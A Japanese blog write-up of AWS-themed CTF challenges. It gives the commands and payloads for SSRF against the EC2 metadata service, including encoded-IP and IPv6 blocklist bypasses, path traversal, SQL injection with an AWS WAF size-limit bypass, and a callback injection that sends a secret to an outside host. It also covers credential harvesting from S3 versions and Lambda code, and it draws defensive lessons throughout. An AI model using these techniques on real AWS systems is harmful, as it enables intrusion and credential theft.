Security-JAWS DAYS CTF Writeup
8/26-27に開催されたSecurity-JAWSに参加してきました。記念すべき第30回🎉
初日は諸事情ありオンラインでの参加でしたが、2日目のCTFはオフラインで楽しんできました。
参加するならやっぱ現地です!画面は小さくなるけど、集中力も高まるし、飲み物もお菓子もいっぱいあるし。
30位そこらの自分が言うのもなんですが、実際に狙われるポイントや事例などを踏まえて作られたと思われる良問揃いで、とても勉強になりました。準備はとても大変だったと思うので感謝の一言です🙏
Writeup自体は作問者の方が公開されていたり、他の方も書かれたりしているので、解法はそこそこにして自分なりの考察や教訓を残しておこうと思います。(といいつつ、気がついたら結構書いてた…。)
反省点
- AWS CLIをもっと触っておけばよかった
- サービス問題でマネコンが使える問題もありましたが、通常攻撃者がマネコンを触れるなんてことはほとんどなく、普段マネコンでゆとってる自分はやりたいことがスムーズにやれずにとても手間取った。AWS CLI使えない人は対象外って書いてあるわけだw
- 特に補完がうまく動かないまま放置してたのが響いた。これは原因がわかったので別途。
- 攻撃する側の思考に慣れてない
- 知識としてこういうことやると危ないと知ってるのに、そこをついてみようという発想になれなかった。
- 要は頭が固いということかと思うとちょっと凹む。
- シェルはちゃんとカスタマイズしておくべきだった
- カーソル移動の時間がこんなに勿体無いと思ったことはなかった。
- Mac買い換えたばっかで適当にしてたのも響いた。
- 人からは変態と言われる程度には弄ってはいるものの、ちょっと見直したほうが良さげ。
- 振り返りをするための記録方法を考えておくべきだった
- tmuxでログをとってはいたけど、ログが汚すぎてWriteup書くのが大変だった…。
良かったところ
- 手に入れたアクセスキーで何ができるか分からず詰むことが少なくなかったけど、調べ方を教えてもらえた。
- 解けなかった問題に戻ったりする時に、オレオレawspのプロファイル切り替えが大活躍!
Trivia
- 10ptの問題が13問出題されましたが、分からなかったらググるだけなのでほぼ省略。
- 1問目のSecurity-JAWS#01の開催年月日は、開始前の説明時に2016年にはじまって30回目と言われていたのでググりやすかった。ちゃんと説明聞くと良いことあるw
- サクサク解けて楽しいけど、結果を優先するなら後回しにしたほうが良いかも。
Warmup
- 50ptの問題が6問。
[Warmup#1] AWS CLI practice
このIAMユーザ(シークレットキー+アクセスキー)が所属するAWSアカウントIDは何?
- IAMユーザのアクセスキーが提供されるので、
aws sts get-caller-identity
するだけ。
[Warmup#2] Run function
アクセスキーを調べてFLAGを入手せよ!
-
これもアクセスキーが提供されるが、何をすれば良いかは問題名がヒント。
-
とりあえず、ユーザに与えられた権限を確認するためにアタッチされたポリシーを調べてみる。
-
管理ポリシーやインラインポシリーでコマンドが違ったり、ポリシーがグループにアタッチされているケースもあるので、早くもCLI力のヘボさが目立ち出すが、
run_me
というLambda Functionが実行できそう。 -
この時点では、
iam list*
が実行できるのはサービス問題だと気づいてない。 -
aws lambda invoke --function-name run_me
するとログを見ろと表示されるが、今度はCLIでログの味方がわからない…。とりあえずググって、フラグGET。aws lambda invoke \ --function-name run_me out \ --log-type Tail \ --query 'LogResult' \ --output text```
[Warmup#3] Find data 1
FLAGはバケツに突っ込んであるので探してね!
- マネコンにログインしてファイル見るだけ。
[Warmup#4] Find data 2
FLAGはバケツに突っ込んであるので探してね!
-
アクセスキーが提供されるが、
iam list*
が付与されていない。ヒントは問題文のバケツ。 -
aws s3 ls
してそれっぽいバケットhimituno-bucket2
を調査。 -
aws s3 ls himituno-bucket2 --recursive
すると1000個のオブジェクト(jpg)があるようだったので、いくつか開くとハズレ画像ということが判明。 -
1000個の中に当たりがあるのだろうということで、ファイルサイズでソートを試みる。
-
さっきのコマンドをファイル
s3_ls
に出力しておいてよしなに。cat s3_ls | tr -s ' ' | cut -f 3,4 -d ' ' | sort -n または cat s3_ls | sed 's/ \+/ /g' | cut -f 3,4 -d ' ' | sort -n とか
-
444番だけサイズが違うオブジェクトを開くと当たり!
[Warmup#5] Show IAM policy
このユーザにアタッチされているポリシーを確認してみよう!Policyドキュメントを注意深くみたらFLAGが隠れているかも。
-
アクセスキーが提供されているので、ヒント通り、アタッチされてるポリシーのドキュメントを調べる。
-
Sidに違和感w Base64でデコードしてフラグゲット!(末尾にパディングの=がないのでBase64と気づきにくいかも)
% echo 'U0pBV1N7RG9feW91LWZpbmRfdGhlX0B0dGFjaGVkX3AwbDFjeT99' | base64 --decode SJAWS{Do_you-find_the_@ttached_p0l1cy?}
[Warmup#6] Where is the password?
「AWSのとあるサービスからパスワードを取得してください!ヒント:AWSで安全にパスワードを管理したい時に利用するサービスと言えば?」 パスワードがFLAGとなっています。
- マネコンにログインしてSecrets Managerを見に行くだけ。
Easy
- 100ptの問題が4問。
[Easy#1] Recon the website
Webサイトを調査してFLAGを入手せよ!
http://website.scjdaysctf2023.net/
-
Webサイトのソースを見るとコメントにヒントが。
<!-- This website uses some AWS services -->
-
S3使っているのは想像がつくが、カスタムドメインを正引きして、さらに逆引きして確認。なるほど。
% nslookup website.scjdaysctf2023.net ... Name: website.scjdaysctf2023.net Address: 52.219.150.203 ... % nslookup 52.219.150.203 203.150.219.52.in-addr.arpa name = s3-website-ap-northeast-1.amazonaws.com ...
-
S3でカスタムドメインを利用して静的サイトをホスティングする場合、バケット名とドメイン名が一致する必要があるのでバケット名は推測可能。
-
作問者さんによると、とりあえずS3の設定ミスを疑って、バケットにアクセスしてみると
ListObject
が許可されていて、オブジェクト一覧が丸見えなのでFLAGの書かれたファイルが特定できる、ということらしい。 -
S3で静的サイトをホスティングする時に
ListObject
に気をつけようなんてのはあちこちで言われていて当然知ってたのに、もしかして設定ミスってるかも?という思考になれなかったのは反省。引き出しが足らないなぁ。
[Easy#2] Find data 3
FLAGはバケツに突っ込んであるので探してね!
-
アクセスキーが提供されるが、
iam list*
の権限が付与されていない。 -
ヒント通りS3でそれっぽいバケット
himituno-bucket3
を見てみると、readme.txt
というファイルがあり、センシティブなデータを消したと書いてある。 -
コピー先に
-
を指定すると標準出力に流してくれるので便利。S3はCLIでよく使うのでこれだけは知ってたw% aws s3 cp s3://himituno-bucket3/readme.txt - It was pointed out that placing sensitive data on S3 is not recommended, so I removed it.
-
消したけど、どこかで見れるはず(そうでないと問題にならない)→消したつもりで消えてない?→バージョニングを疑う。
aws s3api list-object-versions --bucket himituno-bucket3
-
削除されたそれっぽいオブジェクトを取り出してフラグGET!
aws s3api get-object \ --bucket himituno-bucket3 \ --key SECRET_DATA SECRET_DATA \ --version-id MO4Xz6sB8DONDjCid6ideiRgfdyywcSv
-
作問背景は、バージョニングによって削除したつもりが削除できておらず情報漏洩させないように気をつけろということかと。
[Easy#3] u nix Path?
あなたは、PathとObject Keyの区別がつきますか? private/flagに格納されている情報を取得してください。
-
設問からおそらくはPath Traversalに関する問題だろうと想像していたものの、"private/flagに格納されている情報"という指示の意味がよく分からず後回しにしたままタイムアップ。
-
index.ts
が提供されており、この中で署名付きURLを生成しているが、入力パラメータpath.normalize
しちゃっていて、トラバーサルできそうなことが分かる。index.ts... export const handler = async ( event: APIGatewayProxyEvent, ): Promise<APIGatewayProxyResult> => { const { fileId } = event.pathParameters as { fileId: string }; const decodetFileId = decodeURIComponent(fileId); const key = path.normalize(`public/${decodetFileId}`); const command = new GetObjectCommand({ Bucket: process.env.BUCKET_NAME as string, Key: key, }); const url = await getSignedUrl(s3, command, { expiresIn: 60 }); return response(200, JSON.stringify({ url })); }; ...
-
DevToolsでみると、
/api/file/{ファイル名}
というエンドポイントにアクセスしてファイルを取得していることがわかるので、/api/file/../private/flag
にアクセスしてみるがAPI Gatewayに阻まれる。 -
そこでURL Encodeするのがミソ。これは本番で思いつけなかっただろうなぁ。
curl -L https://***.execute-api.ap-northeast-1.amazonaws.com/v1/api/file/%2e%2e%2fprivate%2fflag'
-
あとはゲットした署名付URLにアクセスするだけ。
-
README.md
の内容がツボるw# 誤ったセキュリティ対策 ## オブジェクトキーを直接指定する TODO: 僕は疲れてしまったので、明日書きます。 ## S3 ObjectのKeyにUnix系のPathのように正規化を行う TODO: 僕は疲れてしまったので、明日書きます。
[Easy#4] Get Provision
EC2上で動くWebアプリケーションのインスタンスのプロビジョニングデータを入手せよ!
http://gpweb.scjdaysctf2023.net/
- アクセスすると"Vulnerable Online Proxy Service"という、いかにもなサイトが表示される。
- 問題名にプロビジョニング、ヒントにEC2と書いてあるので、IMDSからユーザデータを取得してみる。
- http://169.254.169.254/latest/user-data を指定してフラグゲット。
- オープンリダイレクトが可能なのが直接要因だけど、IMDSv1は注意ですね。実際、設定ミスとかでオープンリダイレクトが可能なことも少なくないらしいし。
- 作問者さんによると、IMDSを使ったSSRFでクレデンシャルを取得するためによく狙う
/latest/meta-data/iam/security-credentials
ではなく、ユーザデータに焦点を当てたのは、Bashスクリプトにも機微な情報が含まれていた事例があるから、だそうです。 - ちなみにIMDSv2だからって安心できんぞって話も、作問者さんがWriteUpで解説されてます。感謝🙏
Medium
- 200ptの問題が5問。
[Medium#1] LamAttack
皆さんは、社内のログ通知を行う際にLambdaなどを使ったことがあると思います。 ある日、そのようなシステムを管理する社内のGitリポジトリで開発者用のIAMの認証情報 が転がっていたのを見かけたあなたは、上長の許可をとって、そのIAMが漏洩してし まった際の脅威を認識してもらうために、侵入テストを行うことになりました。
皆さんの奪取目標はコミュニケーションツールへAlertを通知するためのLambdaに設定されたSecretです。この情報を奪取して、社内に危険度を知らしめてください。
-
問題文の意味がよく理解できず完全お手上げでした🙌ちょっと手間がかかるし、これが一番難しい気がする。
-
GetFunction
できるアクセスキーが提供されているので、問題文に記載されているLambda関数LamAttackApplicationStack-LamAttackInnerLogicFunct-***
のコードを取得してみる。curl $(aws lambda get-function --function-name LamAttackApplicationStack-LamAttackInnerLogicFunct-*** --query 'Code.Location' --output text) -o LamAttackInnerLogicFunction.zip
-
sourcemapが入ってるのでソースを復元してみると、SendAlertFunctionの関数名とARNがわかる。
aws.json{ "LamAttackApplicationStack": { "SendAlertFunctionName": "LamAttackApplicationStack-LamAttackSendAlertFuncti-***", "SendAlertFunctionARN": "arn:aws:lambda:ap-northeast-1:***:function:LamAttackApplicationStack-LamAttackSendAlertFuncti-***", "InnerLogicFunctionName": "LamAttackApplicationStack-LamAttackInnerLogicFunct-***", "InnerLogicFunctionARN": "arn:aws:lambda:ap-northeast-1:***:function:LamAttackApplicationStack-LamAttackInnerLogicFunct-***", "AlertSNS": "arn:aws:sns:ap-northeast-1:***:LamAttackAlertTopic" } }
-
ちなみにソースの復元は作問者の方が例に挙げられていたsourcemapperを使用しました。
file://
スキームには対応してなさそうだったので、npx http-server
でローカルホストのファイルを参照できるようにして復元しました。 -
SendAlertFunctionのコードも取得してみると、またsourcemapが入ってるので復元。すると、いかにもアレなcallback URLがw
-
eventオブジェクトに
callbackPath
というキーで@別ホスト
とかやればcallbackを別ホストに飛ばせそう。index.ts... export const handler = async (event: { errorCode: Number; errorMessage: String; callbackPath: String; }) => { console.log("event", event); if (event.errorCode === 0) return; const { errorCode, errorMessage, callbackPath } = event; const messageTemplate = `Alertが発生しました。\nエラーコードは${errorCode}、エラーメッセージは"${errorMessage}"です。\n担当者のみなさんはご対応お願いします。`; const input: PublishInput = { TopicArn: LamAttackApplicationStack.AlertSNS, Message: JSON.stringify({ message: messageTemplate, callback: `https://lnudll7qwugrrdh42gc2xypm2y0zomhl.lambda-url.ap-northeast-1.on.aws${callbackPath}`, }), }; ...
-
別ホストで待ち受けてると、なんか
x-flag
とかいうヘッダにFLAGが入ったリクエストが飛んでくるということだったようです。curl https://***.lambda-url.ap-northeast-1.on.aws/ \ -X POST \ -d '{"errorCode":10,"errorMessage": "NG", "callbackPath": "@別ホスト" }' \ -H 'Content-Type: application/json'
-
作問者さんは、pipedreamを使って待ち受けサーバにされていました。なるほど。
-
自分は当日問題文が理解できていたとしても、ここでお手上げだったろうなと思いました。
-
いまだにちょっとよくわからないのは、元々のログ通知にcallbackって必要だったのか?という点と、Lambdaに設定されたシークレットがx-flagの値なのか?という点です。
-
教訓としては、sourcemapの混入に注意かな。
[Medium#2] Is the secret protected?
問題文記録漏れ(たしか、ログイン画面のURLが提示されていた気がする)
-
とりあえず、ログインページに典型的なSQL injectionをかましてみるもうまくいかず…お手上げ🙌
% curl -v -X POST -d "username=admin&password=1' or '1' = '1';--" http://***.ap-northeast-1.elb.amazonaws.com/login.php Note: Unnecessary use of -X or --request, POST is already inferred. % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying ***.***.***.***:80... * Connected to ***.ap-northeast-1.elb.amazonaws.com (***.***.***.***) port 80 (#0) > POST /login.php HTTP/1.1 > Host: ***.ap-northeast-1.elb.amazonaws.com > User-Agent: curl/7.88.1 > Accept: */* > Content-Length: 42 > Content-Type: application/x-www-form-urlencoded > } [42 bytes data] < HTTP/1.1 403 Forbidden < Server: awselb/2.0 < Date: Mon, 28 Aug 2023 01:32:42 GMT < Content-Type: text/html < Content-Length: 118 < Connection: keep-alive < { [118 bytes data] 100 160 100 118 100 42 1142 406 --:--:-- --:--:-- --:--:-- 1666 * Connection #0 to host ***.ap-northeast-1.elb.amazonaws.com left intact <html> <head><title>403 Forbidden</title></head> <body> <center><h1>403 Forbidden</h1></center> </body> </html>
-
作問者さんによると、注意深くServerヘッダを見ていればInjectionを試みた時に、EC2ではなくELBが応答してることに気づいたはずで、ここでAWS WAFかもしれないから8kB制限をバイパスしてみるということらしい。
-
Serverヘッダが
awselb/2.0
なのでALB+WAFかなと思っていたし、WAFの8kB制限も知っていたのに、なぜか8kB以上ぶち込もうという思考になれなかった。8kB以上だとブロックするが自分の中でデフォルトだからかなぁ…。 -
当日SlackでWAFをバイパスしなくても"' or '1'='1"とかで通ったと言われてる方がいたので、もうちょい粘ればよかったし、WAFの過信は禁物ですね。
-
ヘッダにゴミ詰めてやるとCookieが発行されるのでそいつを使ってログインするだけ。
% curl -v -X POST -d "hoge=aaa***略***aaaaa&username=admin&password=1' or '1' = '1';-" http://***.ap-northeast-1.elb.amazonaws.com/login.php ... < HTTP/1.1 302 Found < Date: Mon, 28 Aug 2023 01:39:35 GMT < Content-Type: text/html; charset=UTF-8 < Content-Length: 0 < Connection: keep-alive < Server: Apache/2.4.56 (Amazon Linux) < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache < Set-Cookie: PHPSESSID=1lnqmgbdhuofm56u8u7c5g8e2j; path=/ < Location: dashboard.php < ...
% curl -v -b "PHPSESSID=1lnqmgbdhuofm56u8u7c5g8e2j; path=/" http://***.amazonaws.com/dashboard.php ... <!DOCTYPE html> <html> <head> <title>ダッシュボード</title> </head> <body> <h1>ようこそ、adminさん!</h1> <p>Flag: SJAWS{W@F?_Pwn!_S0L_1nj@ct10n_S@cc3ss}</p> <a href="logout.php">ログアウト</a> </body> </html>
[Medium#3] Get Access Key
EC2 上で動く少しセキュアになった Web アプリケーションから IAM のアクセスキーを入手して、データベースから機微な情報を入手せよ!
-
提示されたURLにアクセスしてみると、Get Provisionとそっくりなページ。
-
とりあえずIMDSを狙ってみるも、入力値がチェックされているらしい。
-
DevToolsで見てみると、フロントエンドで正規表現を使ってチェックしているだけのようなので、パターンを書き換えてリトライ。
-
今度はバックエンドでブラックリストがあるようで、ブロックされる。
*Block the following hostnames. ・169.254.169.254 ・2852039166 <- 10進 (169*256*256*256+254*256+169**256+254) ・0xA9.0xFE.0xA9.0xFE ・0xA9FEA9FE <- 16進 ・0251.0376.0251.0376 ・0251.00376.000251.0000376 ・0251.254.169.254
-
作問意図としては、IPv6で
[::ffff:a9fe:a9fe]
とか[0:0:0:0:0:ffff:a9fe:a9fe]
を指定することで回避できるというものだったそうですが、自分は8進数025177524776
で通過しました。たしかEmotetがこの手のアプローチを使っていた気がする。 -
Slackにはブロックリストを組み合わせて
0251.0376.169.254
でサクッと通過したという方や、短縮URLやワイルドカードDNS169.254.169.254.nip.io
で通過したという機転のきく方がいました。 -
後半にSlackでヒントも出ました。
-
IPv4に目が行きがちですが、IPv6にも注意が必要と改めて認識させてくれた良問だったと思います。
-
あとは
/latest/meta-data/iam/security-credentials
からアクセスキーをゲットして、ヒントに書いてあるDynamoDBからフラグを頂くだけ。 -
何も考えずに
ap-northeast-1
のキーだと思って使っていて、たまたま当たってましたが、ロールがアタッチされていたEC2からリージョンを特定する方法を作問者さんが紹介されていました。 -
Webサイトを逆引きしてEC2インスタンスのIPアドレスを取得して、さらに正引きして
ec2-***.ap-northeast-1.compute.amazonaws.com.
を取得することで、リージョンを特定する。なるほど。 -
当日諸事情でTokyoリージョン的な話があったのでハマらずに済みましたが、これ別リージョンだったらもう一段難しかっただろうな。
[Medium#4] LISE
問題文記録漏れ
- 可愛い猫ちゃんの紹介ページ(作問者さんが飼ってる猫ちゃんらしい)。
- DevToolsでソースを
key
とかcredential
とかのキーワードで検索するとアクセスキーがフロントエンドに埋まっていた。 - アクセスキーを抜いて見たものの、このキーで何ができるのかわからずお手上げ🙌
- 作問者さんによると、Secrets Managerの
list-secrets
、get-secret-value
が許可されていたらしい。 - 終了後Slackでどのように調査すると良いのか聞いてみると、アクセスキーを元に使用可能なサービスや権限をリストアップするツールが色々あることを教えていただきました🙏
- 作問意図としては、アクセスキーの埋め込みは避ける&PoLPとのこと。
[Medium#5] Expose Buckup
問題文記録漏れ
- よくわからず諦めてたけど、後半に「Linuxのホームディレクトリに一般的に置かれてるようなもの」というヒントが出されたのでトライ。
-
.aws/credentials
とか.ssh/id_rsa
を狙ってたけど、なるほど.bash_history
か。dockerでubuntuを起動して、それっぽいファイルを試してようやくクレデンシャルを手に入れたけど、git cloneしたところでタイムアップ。 - コミットログにアクセスキーとFLAGの入ったS3バケット名が含まれていたらしい。あと一歩届かず。
- 教訓としては、Gitのリポジトリにクレデンシャルをコミットしない。コミットしちゃったら、git filter-repoやBFG Repo-Cleanerで掃除&ローテーション。git-secretsとかで予防的コントロールを導入する。
Hard
- 300ptの問題が2問。
[Hard#1] AWS Pentesting Journey
さあ、AWSをめぐるPentestの旅に出発しましょう! 凄腕Pentesterのあなたには、以下のAWSシステムに侵入してDB内に格納されているFLAGを奪取できるかをテストしてほしい。
事前にWebサーバの設定情報を共有してもらったので、侵入の手がかりになればよいのだが…。
http://apjweb.scjdaysctf2023.net/
-
配布された
nginx.conf
を見ると、パストラバーサルできそうなことがわかる。また、プロキシも特に制限がなくSSRFに使えそう。server { listen 80 default_server; listen [::]:80 default_server; root /var/www/html; index index.html index.htm index.nginx-debian.html index.php; server_name _; location / { try_files $uri $uri/ =404; } location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php8.1-fpm.sock; } location /assets { alias /usr/share/static/; } location /admin/ { auth_basic "Restricted"; auth_basic_user_file /usr/share/secret/.htpasswd; location ~^/admin/proxy/(?<proxy_host>.*?)/(?<proxy_path>.*)$ { proxy_pass http://$proxy_host/$proxy_path; proxy_set_header Host $proxy_host; } } }
-
/admin
以下はBasic認証がかかっているので、とりあえずパストラバーサルして.htpasswd
をゲット。curl -L http://***.net/assets../secret/.htpasswd -O
-
買ったばっかりのMacでJTRが入ってなかったのでBardに解析をお願いしたところ、Bardから丁重にお断りされるw
-
ユーザ名
sjctf@dmin
は分かったので、適当にパスワードに"password"と入れてみたら通れた。 -
phpMyAdminのログインページがあるらしいがログインできないので、とりあえずIMDSからアクセスキーを頂く。
http://***.net/admin/proxy/169.254.169.254/latest/meta-data/iam/security-credentials
http://***.net/admin/proxy/169.254.169.254/latest/m eta-data/iam/security-credentials/ec2role_p1lhf6h4q395qu1
-
ロールに許可されたポリシーを見る権限はなさそうでお手上げかと思ったが、何気なく
s3 ls
したらバケット一覧が見えた。 -
backup-37szjp8pny7xx01
というバケットにアクセスできたので、dboperator_accessKeys.csv
をゲット。 -
新しいキーが手に入ったので、キーを調べてみると
dboperator
というユーザのキーらしい。このキーはアタッチされてるポリシーが確認できた。これはお情けかな。{ "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "lambda:List*", "lambda:GetFunction", "lambda:InvokeFunction" ], "Resource": "arn:aws:lambda:ap-northeast-1:***:function:db-buckup*" }, { "Effect": "Allow", "Action": [ "iam:Get*", "iam:List*" ], "Resource": [ "arn:aws:iam::***:policy/dboperator", "arn:aws:iam::***:user/dboperator" ] } ] }, "VersionId": "v6", "IsDefaultVersion": true, "CreateDate": "2023-08-13T18:57:09+00:00" } }
-
Lambda関数
db-buckup
を実行してみると、S3にバックアップをアップロードしてそうだとわかる。% aws lambda invoke \ --function-name db-buckup out \ --log-type Tail \ --query 'LogResult' \ --output text \ | base64 -d START RequestId: 15b011e9-3033-4be4-a154-cdb41b33e317 Version: $LATEST 2023-08-27T17:33:35.643Z 15b011e9-3033-4be4-a154-cdb41b33e317 INFO start mysqldump 2023-08-27T17:33:35.643Z 15b011e9-3033-4be4-a154-cdb41b33e317 INFO dumpFileName:dump_20230827173236.sql 2023-08-27T17:33:35.860Z 15b011e9-3033-4be4-a154-cdb41b33e317 INFO start s3 upload END RequestId: 15b011e9-3033-4be4-a154-cdb41b33e317 REPORT RequestId: 15b011e9-3033-4be4-a154-cdb41b33e317 Duration: 919.44 ms Billed Duration: 920 ms Memory Size: 128 MB Max Memory Used: 94 MB
-
とりあえず、コードをGETしてみるが、KMSで暗号化されてる(しかもコンテキスト付w)。
curl $(aws lambda get-function --function-name db-buckup --query 'Code.Location' --output text) -o db-buckup.zip
index.js(latest)... const functionName = process.env.AWS_LAMBDA_FUNCTION_NAME; const encrypted = process.env.DBPASS; exports.handler = async (event, context) => { const kms = new aws.KMS({ region: 'ap-northeast-1' }); try { const req = { CiphertextBlob: Buffer.from(encrypted, 'base64'), EncryptionContext: { LambdaFunctionName: functionName }, }; const data = await kms.decrypt(req).promise(); var decrypted = data.Plaintext.toString('ascii'); } catch (err) { console.log('Decrypt error:', err); throw err; } ...
-
ポリシが
db-buckup*
になっていて、db-buckupなんちゃらという別の関数があるのか?とか調べてみたけど、ここでお手上げ🙌 -
実はこのLambda関数には複数バージョンがあって、古いバージョンは認証情報がハードコードされていたらしい。なぜその可能性を疑わなかったのか悔やまれる。
aws lambda list-versions-by-function --function-name db-buckup
curl $(aws lambda get-function --function-name db-buckup --qualifier 1 --query 'Code.Location' --output text) -o db-buckup_v1.zip
index.js(v1)const resultDump = await mysqldump({ connection: { host: '192.168.10.74', user: 'dbopuser', password: 'jnwjHNeiFV6V!X39X$SVVjsYg&lPEsTH', database: 'kanin', }, dumpToFile: dumpPath, });
-
あとは、ハードコードされた認証情報でphpMyAdminにアクセスするだけ。
[Hard#2] Secure Request Forwarder
EC2 上で動くセキュアそうな Web アプリケーションがある。調査して情報収集して侵入してみよう!
- またもGet ProvisionやGet Access Keyのようなページだが、今度は
169.254.169.254
や025177524776
もブロックされる。 - adminページがあるようなので、localhostを狙ってみるもブロックされる。ここでお手上げ🙌
- これは、
[::]
だと突破できたらしい。 - Get Access Keyのヒントで紹介されていたページでPayloads with localhostにバッチリ書かれてました…。
- SSRFでadminページにアクセスするとヒントがあり、IMDSにアクセスするとユーザデータからRDSのクレデンシャルが抜ける。
- このRDSがパブリックアクセス可能になっていて、ログインしてみると
UserInfo
テーブルに、別のホストの存在を示唆する情報とそのクレデンシャルが置いてあったようです。 - 作問者さんによると、DBに別ホストの情報を置いてあったのは難易度調整とのことで、実際はBlind SSRFによるLocal Port Scanで判断したりするそうです。
- 教訓としては、RDSのパブリックアクセスは無効化する。外部から受け取った値を元にリクエストする時は、ホワイトリスト管理できないか検討する。
作問者さんたちのWriteup
参加者の方のWriteup
Discussion